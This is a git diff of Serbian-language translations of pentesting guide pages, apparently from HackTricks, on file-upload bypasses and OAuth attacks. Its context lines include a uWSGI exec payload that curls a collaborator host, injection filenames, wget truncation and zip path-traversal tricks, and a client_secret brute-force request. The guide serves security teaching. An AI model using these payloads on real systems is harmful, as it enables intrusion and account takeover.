# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
|
||||
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
|
||||
|
||||
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
U nekim slučajevima možete primetiti da server koristi **`wget`** za **preuzimanje datoteka** i možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih datoteka unutar bele liste kako bi se osiguralo da se preuzimaju samo dozvoljene datoteke. Međutim, **ova provera se može zaobići.**\
|
||||
**Maksimalna** dužina **imena datoteke** u **linux-u** je **255**, međutim, **wget** skraćuje imena datoteka na **236** karaktera. Možete **preuzeti datoteku pod nazivom "A"\*232+".php"+".gif"**, ovo ime datoteke će **zaobići** **proveru** (jer je u ovom primeru **".gif"** **važeća** ekstenzija) ali će `wget` **preimenovati** datoteku u **"A"\*232+".php"**.
|
||||
**Maksimalna** dužina **imena datoteke** u **linux-u** je **255**, međutim, **wget** skraćuje imena datoteka na **236** karaktera. Možete **preuzeti datoteku pod nazivom "A"\*232+".php"+".gif"**, ovo ime datoteke će **zaobići** **proveru** (kao u ovom primeru **".gif"** je **važeća** ekstenzija) ali će `wget` **preimenovati** datoteku u **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite da **HTTP server preusmeri na drugu datoteku**, tako da će inicijalni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke navedenim u originalnom URL-u**.
|
||||
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite da se **HTTP server preusmeri na drugu datoteku**, tako da će inicijalni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke koje je naznačeno u originalnom URL-u**.
|
||||
|
||||
## Alati
|
||||
|
||||
@ -168,19 +168,19 @@ Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru
|
||||
- Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
|
||||
- Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
|
||||
- Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
|
||||
- [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** datoteka **upload** + **XSS** = [**eksploatacija servisnih radnika**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE u svg uploadu**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**XSS** u učitavanju slike (svg) datoteke](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** datoteka **učitavanje** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE u svg učitavanju**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Pokušajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Ako možete **navesti web server da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/index.html). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe navesti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
|
||||
- [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/index.html). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
|
||||
- [**XXE i CORS** zaobilaženje sa PDF-Adobe učitavanjem](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove, mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
|
||||
- Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
|
||||
- Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
|
||||
|
||||
Evo top 10 liste stvari koje možete postići učitavanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Evo top 10 liste stvari koje možete postići učitavanjem (sa [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -206,9 +206,9 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
Pogledajte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) za druge tipove datoteka.
|
||||
|
||||
### Zip/Tar datoteka automatski dekompresovana upload
|
||||
### Zip/Tar datoteka automatski dekompresovana pri učitavanju
|
||||
|
||||
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
|
||||
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete učiniti 2 stvari:
|
||||
|
||||
#### Symlink
|
||||
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
|
||||
Neprijatno kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhiva mogu biti iskorišćene. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.
|
||||
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhiva mogu biti iskorišćene. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.
|
||||
|
||||
Automatizovani exploit za kreiranje takvih fajlova je dostupan na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti kao što je prikazano:
|
||||
```python
|
||||
@ -289,7 +289,7 @@ pop graphic-context
|
||||
```
|
||||
## Ugrađivanje PHP Shell-a u PNG
|
||||
|
||||
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
|
||||
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i uzorkovanje slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
|
||||
|
||||
Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
|
||||
|
||||
@ -299,9 +299,9 @@ Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
|
||||
|
||||
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe moguće.
|
||||
|
||||
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, prilagođavajući se strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
|
||||
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteka). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može neprimetno zaobići ova ograničenja.
|
||||
|
||||
I pored svoje prilagodljivosti, poliglot datoteke se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njenog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglot datoteke možda neće biti dovoljna da garantuje njen upload.
|
||||
I pored svoje prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
|
||||
|
||||
Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -50,7 +50,7 @@ POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. Na kraju, proces se završava kada https://example.com koristi vaš `access_token` da izvrši API poziv ka društvenim mrežama za pristup
|
||||
6. Na kraju, proces se završava kada https://example.com koristi vaš `access_token` za API poziv ka društvenim mrežama kako bi pristupio
|
||||
|
||||
## Ranljivosti <a href="#id-323a" id="id-323a"></a>
|
||||
|
||||
@ -62,7 +62,7 @@ Tehnike eksploatacije variraju u zavisnosti od logike validacije autorizacionog
|
||||
|
||||
Pored `redirect_uri`, drugi OAuth i OpenID parametri kao što su `client_uri`, `policy_uri`, `tos_uri` i `initiate_login_uri` su takođe podložni napadima preusmeravanja. Ovi parametri su opcioni i njihova podrška varira među serverima.
|
||||
|
||||
Za one koji ciljaju OpenID server, krajnja tačka otkrivanja (`**.well-known/openid-configuration**`) često navodi vredne detalje o konfiguraciji kao što su `registration_endpoint`, `request_uri_parameter_supported` i "`require_request_uri_registration`. Ovi detalji mogu pomoći u identifikaciji krajnje tačke registracije i drugih specifičnosti konfiguracije servera.
|
||||
Za one koji ciljaju OpenID server, krajnja tačka otkrivanja (`**.well-known/openid-configuration**`) često navodi vredne konfiguracione detalje kao što su `registration_endpoint`, `request_uri_parameter_supported` i "`require_request_uri_registration`. Ovi detalji mogu pomoći u identifikaciji krajnje tačke registracije i drugih specifičnosti konfiguracije servera.
|
||||
|
||||
### XSS u implementaciji preusmeravanja <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -72,9 +72,9 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
```
|
||||
### CSRF - Nepravilno rukovanje parametrom stanja <a href="#bda5" id="bda5"></a>
|
||||
|
||||
U OAuth implementacijama, zloupotreba ili izostavljanje **`state` parametra** može značajno povećati rizik od **Cross-Site Request Forgery (CSRF)** napada. Ova ranjivost se javlja kada se `state` parametar ili **ne koristi, koristi kao statička vrednost, ili se nevalidira pravilno**, omogućavajući napadačima da zaobiđu CSRF zaštitu.
|
||||
U OAuth implementacijama, zloupotreba ili propuštanje **`state` parametra** može značajno povećati rizik od napada **Cross-Site Request Forgery (CSRF)**. Ova ranjivost se javlja kada se `state` parametar ili **ne koristi, koristi kao statička vrednost, ili se nevalidira pravilno**, omogućavajući napadačima da zaobiđu CSRF zaštite.
|
||||
|
||||
Napadači mogu iskoristiti ovo presrećući proces autorizacije kako bi povezali svoj nalog sa nalogom žrtve, što može dovesti do potencijalnih **preuzimanja naloga**. Ovo je posebno kritično u aplikacijama gde se OAuth koristi u **svrhe autentifikacije**.
|
||||
Napadači mogu iskoristiti ovo tako što će presresti proces autorizacije kako bi povezali svoj nalog sa nalogom žrtve, što može dovesti do potencijalnih **preuzimanja naloga**. Ovo je posebno kritično u aplikacijama gde se OAuth koristi u **svrhe autentifikacije**.
|
||||
|
||||
Primeri iz stvarnog sveta ove ranjivosti dokumentovani su u raznim **CTF izazovima** i **hacking platformama**, ističući njene praktične implikacije. Problem se takođe proširuje na integracije sa uslugama trećih strana kao što su **Slack**, **Stripe**, i **PayPal**, gde napadači mogu preusmeriti obaveštenja ili uplate na svoje naloge.
|
||||
|
||||
@ -83,17 +83,17 @@ Pravilno rukovanje i validacija **`state` parametra** su ključni za zaštitu od
|
||||
### Preuzimanje naloga <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Bez verifikacije email-a prilikom kreiranja naloga**: Napadači mogu unapred kreirati nalog koristeći email žrtve. Ako žrtva kasnije koristi uslugu treće strane za prijavu, aplikacija može nenamerno povezati ovaj nalog treće strane sa napadačevim unapred kreiranim nalogom, što dovodi do neovlašćenog pristupa.
|
||||
2. **Iskorišćavanje labave verifikacije email-a u OAuth-u**: Napadači mogu iskoristiti OAuth usluge koje ne verifikuju email adrese tako što se registruju sa svojom uslugom, a zatim menjaju email naloga na onaj žrtve. Ova metoda takođe nosi rizik od neovlašćenog pristupa nalogu, slično prvom scenariju, ali kroz drugačiji napadački vektor.
|
||||
2. **Iskorišćavanje labave verifikacije email-a u OAuth-u**: Napadači mogu iskoristiti OAuth usluge koje ne verifikuju email adrese tako što će se registrovati sa svojom uslugom, a zatim promeniti email naloga na onaj žrtve. Ova metoda takođe nosi rizik od neovlašćenog pristupa nalogu, slično prvom scenariju, ali kroz drugačiji napadački vektor.
|
||||
|
||||
### Otkriće tajni <a href="#e177" id="e177"></a>
|
||||
|
||||
Identifikacija i zaštita tajnih OAuth parametara je ključna. Dok se **`client_id`** može bezbedno otkriti, otkrivanje **`client_secret`** predstavlja značajne rizike. Ako je `client_secret` kompromitovan, napadači mogu iskoristiti identitet i poverenje aplikacije da **ukradu korisničke `access_tokens`** i privatne informacije.
|
||||
|
||||
Uobičajena ranjivost se javlja kada aplikacije greškom rukovode razmenom autorizacionog `code` za `access_token` na klijentskoj strani umesto na serverskoj strani. Ova greška dovodi do izlaganja `client_secret`, omogućavajući napadačima da generišu `access_tokens` pod krinkom aplikacije. Štaviše, putem socijalnog inženjeringa, napadači bi mogli eskalirati privilegije dodavanjem dodatnih opsega u OAuth autorizaciju, dodatno iskorišćavajući povereni status aplikacije.
|
||||
Uobičajena ranjivost se javlja kada aplikacije greškom rukovode razmenom autorizacionog `code` za `access_token` na klijentskoj strani umesto na serverskoj strani. Ova greška dovodi do izlaganja `client_secret`, omogućavajući napadačima da generišu `access_tokens` pod krinkom aplikacije. Štaviše, putem socijalnog inženjeringa, napadači bi mogli da eskaliraju privilegije dodavanjem dodatnih opsega OAuth autorizaciji, dodatno iskorišćavajući poveren status aplikacije.
|
||||
|
||||
### Bruteforce za klijent tajnu
|
||||
### Bruteforce klijent tajne
|
||||
|
||||
Možete pokušati da **bruteforce-ujete client_secret** provajdera usluga sa identitet provajderom kako biste pokušali da ukradete naloge.\
|
||||
Možete pokušati da **bruteforce-ujete client_secret** provajdera usluga sa identitetskim provajderom kako biste pokušali da ukradete naloge.\
|
||||
Zahtev za BF može izgledati slično:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
@ -106,19 +106,19 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
```
|
||||
### Referer Header leaking Code + State
|
||||
|
||||
Kada klijent ima **code i state**, ako se **reflektuje unutar Referer header-a** kada pretražuje drugu stranicu, onda je ranjiv.
|
||||
Kada klijent ima **code and state**, ako je **reflektovan unutar Referer header-a** kada pretražuje drugu stranicu, onda je ranjiv.
|
||||
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
Idite na **istoriju pretraživača i proverite da li je access token sačuvan tamo**.
|
||||
Idite na **browser history i proverite da li je access token sačuvan tamo**.
|
||||
|
||||
### Everlasting Authorization Code
|
||||
|
||||
**Authorization code bi trebao da traje samo neko vreme kako bi se ograničio vremenski prozor u kojem napadač može da ga ukrade i iskoristi**.
|
||||
**Authorization code bi trebao da živi samo neko vreme kako bi se ograničio vremenski prozor u kojem napadač može da ga ukrade i koristi**.
|
||||
|
||||
### Authorization/Refresh Token not bound to client
|
||||
|
||||
Ako možete da dobijete **authorization code i iskoristite ga sa različitim klijentom, onda možete preuzeti druge naloge**.
|
||||
Ako možete da dobijete **authorization code i koristite ga sa različitim klijentom, onda možete preuzeti druge naloge**.
|
||||
|
||||
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
|
||||
|
||||
@ -126,7 +126,7 @@ Ako možete da dobijete **authorization code i iskoristite ga sa različitim kli
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
U ovom izveštaju o bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) možete videti da **token** koji **AWS Cognito** vraća korisniku može imati **dovoljno dozvola da prepiše korisničke podatke**. Stoga, ako možete **promeniti korisnički email za drugi korisnički email**, možda ćete moći da **preuzmete** tuđe naloge.
|
||||
U ovom izveštaju o bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) možete videti da **token** koji **AWS Cognito** vraća korisniku može imati **dovoljno dozvola da prepiše korisničke podatke**. Stoga, ako možete **promeniti korisnički email za drugi korisnički email**, možda ćete moći da **preuzmete** druge naloge.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
@ -151,16 +151,16 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
|
||||
### Zloupotreba tokena drugih aplikacija <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Kao što je [**spomenuto u ovom izveštaju**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth tokovi koji očekuju da prime **token** (a ne kod) mogli bi biti ranjivi ako ne provere da token pripada aplikaciji.
|
||||
Kao što je [**spomenuto u ovom izveštaju**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth tokovi koji očekuju da prime **token** (a ne kod) mogli bi biti ranjivi ako ne provere da li token pripada aplikaciji.
|
||||
|
||||
To je zato što bi **napadač** mogao da kreira **aplikaciju koja podržava OAuth i prijavu putem Facebook-a** (na primer) u svojoj aplikaciji. Zatim, kada žrtva prijavi putem Facebook-a u **napadačevoj aplikaciji**, napadač bi mogao da dobije **OAuth token korisnika dodeljen njegovoj aplikaciji i koristi ga za prijavu u žrtvinu OAuth aplikaciju koristeći žrtvin korisnički token**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Stoga, ako napadač uspe da dobije pristup korisniku svojoj OAuth aplikaciji, moći će da preuzme žrtvin račun u aplikacijama koje očekuju token i ne provere da li je token dodeljen njihovom ID-u aplikacije.
|
||||
|
||||
### Dva linka & kolačić <a href="#bda5" id="bda5"></a>
|
||||
### Dva linka i kolačić <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Prema [**ovom izveštaju**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bilo je moguće naterati žrtvu da otvori stranicu sa **returnUrl** koja pokazuje na napadačev host. Ove informacije bi bile **smeštene u kolačiću (RU)**, a u **kasnijem koraku** **prompt** će **pitati** **korisnika** da li želi da da pristup tom napadačevom hostu.
|
||||
Prema [**ovom izveštaju**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bilo je moguće naterati žrtvu da otvori stranicu sa **returnUrl** koji upućuje na napadačev host. Ove informacije bi bile **smeštene u kolačiću (RU)**, a u **kasnijem koraku** **prompt** će **pitati** **korisnika** da li želi da da pristup tom napadačevom hostu.
|
||||
|
||||
Da bi se zaobišao ovaj prompt, bilo je moguće otvoriti tab za iniciranje **Oauth toka** koji bi postavio ovaj RU kolačić koristeći **returnUrl**, zatvoriti tab pre nego što se prompt prikaže, i otvoriti novi tab bez te vrednosti. Tada **prompt neće obavestiti o napadačevom hostu**, ali bi kolačić bio postavljen na njega, tako da će **token biti poslat na napadačev host** u redirekciji.
|
||||
|
||||
@ -187,7 +187,7 @@ Ovaj [**blog post**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) kom
|
||||
|
||||
1. Žrtva pristupa napadačevoj veb stranici
|
||||
2. Žrtva otvara zlonamerni link i otvarač pokreće Google OAuth tok sa `response_type=id_token,code&prompt=none` kao dodatnim parametrima koristeći kao **referent napadačevu veb stranicu**.
|
||||
3. U otvaraču, nakon što provajder odobri žrtvu, vraća ih nazad na vrednost parametra `redirect_uri` (žrtvina veb stranica) sa 30X kodom koji i dalje drži napadačevu veb stranicu u refereru.
|
||||
3. U otvaraču, nakon što provajder odobri žrtvu, vraća ih nazad na vrednost parametra `redirect_uri` (žrtvina veb stranica) sa 30X kodom koji i dalje drži napadačevu veb stranicu u referentu.
|
||||
4. Žrtvina **veb stranica pokreće otvoreno preusmeravanje na osnovu referenta** preusmeravajući žrtvinog korisnika na napadačevu veb stranicu, pošto je **`respose_type`** bio **`id_token,code`**, kod će biti vraćen napadaču u **fragmentu** URL-a omogućavajući mu da preuzme račun korisnika putem Google-a na žrtvinom sajtu.
|
||||
|
||||
### SSRF parametri <a href="#bda5" id="bda5"></a>
|
||||
@ -209,11 +209,11 @@ Dinamička registracija klijenata u OAuth služi kao manje očigledan, ali kriti
|
||||
**Strategija eksploatacije:**
|
||||
|
||||
- SSRF se može pokrenuti registracijom novog klijenta sa zlonamernim URL-ovima u parametrima kao što su `logo_uri`, `jwks_uri`, ili `sector_identifier_uri`.
|
||||
- Dok direktna eksploatacija putem `request_uris` može biti ublažena kontrolama na osnovu beleške, pružanje unapred registrovanog, napadačem kontrolisanog `request_uri` može olakšati SSRF tokom faze autorizacije.
|
||||
- Dok direktna eksploatacija putem `request_uris` može biti ublažena kontrolama na osnovu bele liste, pružanje unapred registrovanog, napadačem kontrolisanog `request_uri` može olakšati SSRF tokom faze autorizacije.
|
||||
|
||||
## OAuth provajderi Trke
|
||||
## OAuth provajderi trke
|
||||
|
||||
Ako je platforma koju testirate OAuth provajder [**pročitajte ovo da biste testirali moguće Trke**](race-condition.md).
|
||||
Ako je platforma koju testirate OAuth provajder [**pročitajte ovo da biste testirali moguće trke**](race-condition.md).
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -193,7 +193,7 @@ console.log(log) //33,45,62
|
||||
```
|
||||
## **Analiza atributa**
|
||||
|
||||
Alat **Hackability inspector** iz Portswigger pomaže da se **analiziraju** **atributi** javascript objekta. Proverite: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
|
||||
Alat **Hackability inspector** iz Portswigger-a pomaže da se **analiziraju** **atributi** javascript objekta. Proverite: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
|
||||
|
||||
## **.map js datoteke**
|
||||
|
||||
|
@ -1,10 +1,10 @@
|
||||
# Politika kolačića
|
||||
# Cookies Policy
|
||||
|
||||
Poslednje ažuriranje: 02/04/2023
|
||||
Last updated: 02/04/2023
|
||||
|
||||
### Uvod
|
||||
### Introduction
|
||||
|
||||
Ova Politika kolačića se primenjuje na sledeće veb sajtove u vlasništvu i pod upravom tima HackTricks ("HackTricks", "mi", "nas" ili "naš"):
|
||||
Ova Politika kolačića se primenjuje na sledeće veb sajtove u vlasništvu i pod upravom HackTricks tima ("HackTricks", "mi", "nas" ili "naš"):
|
||||
|
||||
* hacktricks.wiki
|
||||
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
|
||||
@ -13,33 +13,33 @@ Ova Politika kolačića se primenjuje na sledeće veb sajtove u vlasništvu i po
|
||||
|
||||
Korišćenjem bilo kog od ovih veb sajtova, slažete se sa upotrebom kolačića u skladu sa ovom Politikom kolačića. Ako se ne slažete, molimo vas da onemogućite kolačiće u podešavanjima vašeg pregledača ili se suzdržite od korišćenja naših veb sajtova.
|
||||
|
||||
### Šta su kolačići?
|
||||
### What are cookies?
|
||||
|
||||
Kolačići su mali tekstualni fajlovi koji se čuvaju na vašem računaru ili mobilnom uređaju kada posetite veb sajt. Široko se koriste za omogućavanje rada veb sajtova, poboljšanje njihove funkcionalnosti i pružanje personalizovanijeg korisničkog iskustva.
|
||||
|
||||
### Kako koristimo kolačiće
|
||||
### How we use cookies
|
||||
|
||||
Koristimo kolačiće na našim veb sajtovima u sledeće svrhe:
|
||||
|
||||
1. Neophodni kolačići: Ovi kolačići su neophodni za osnovnu funkcionalnost naših veb sajtova, kao što su omogućavanje autentifikacije korisnika, održavanje bezbednosti i pamćenje vaših preferencija.
|
||||
